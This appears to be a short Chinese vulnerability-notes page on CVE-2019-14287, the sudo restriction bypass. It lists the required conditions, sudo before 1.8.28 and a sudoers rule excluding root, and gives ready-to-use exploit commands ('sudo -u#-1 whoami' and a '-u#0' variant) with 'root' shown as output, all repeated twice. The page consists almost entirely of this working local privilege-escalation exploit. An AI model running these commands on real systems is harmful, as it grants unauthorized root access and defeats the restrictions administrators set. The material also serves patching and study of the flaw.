CVE-2019-14287_Sudo權限繞過漏洞

# CVE-2019-14287 Sudo權限繞過漏洞
=== Info ===

[https://blog.aquasec.com/cve-2019-14287-sudo-linux-vulnerability CVE-2019-14287 sudo Vulnerability Allows Bypass of User Restrictions]

==== 利用要求 ====

  • sudo版本低於v1.8.28
  • /etc/sudoers 配置要求如下(要求一組特定權限,不一定完全是下面的樣子)
  • ==== 示例 ====

     ALL=(ALL:!root) NOPASSWD: ALL

    === EXP ===

    sudo -u#0 whoami
    root
    

    === Info ===
    [https://blog.aquasec.com/cve-2019-14287-sudo-linux-vulnerability CVE-2019-14287 sudo Vulnerability Allows Bypass of User Restrictions]
    ==== 利用要求 ====

  • sudo版本低於v1.8.28
  • /etc/sudoers 配置要求如下(要求一組特定權限,不一定完全是下面的樣子)
  • ==== 示例 ====

     ALL=(ALL:!root) NOPASSWD: ALL

    === EXP ===

    sudo -u#-1 whoami
    root
    
    © 版权声明
    THE END
    喜欢就支持一下吧
    点赞0赞赏 分享
    评论 抢沙发

    请登录后发表评论

      请登录后查看评论内容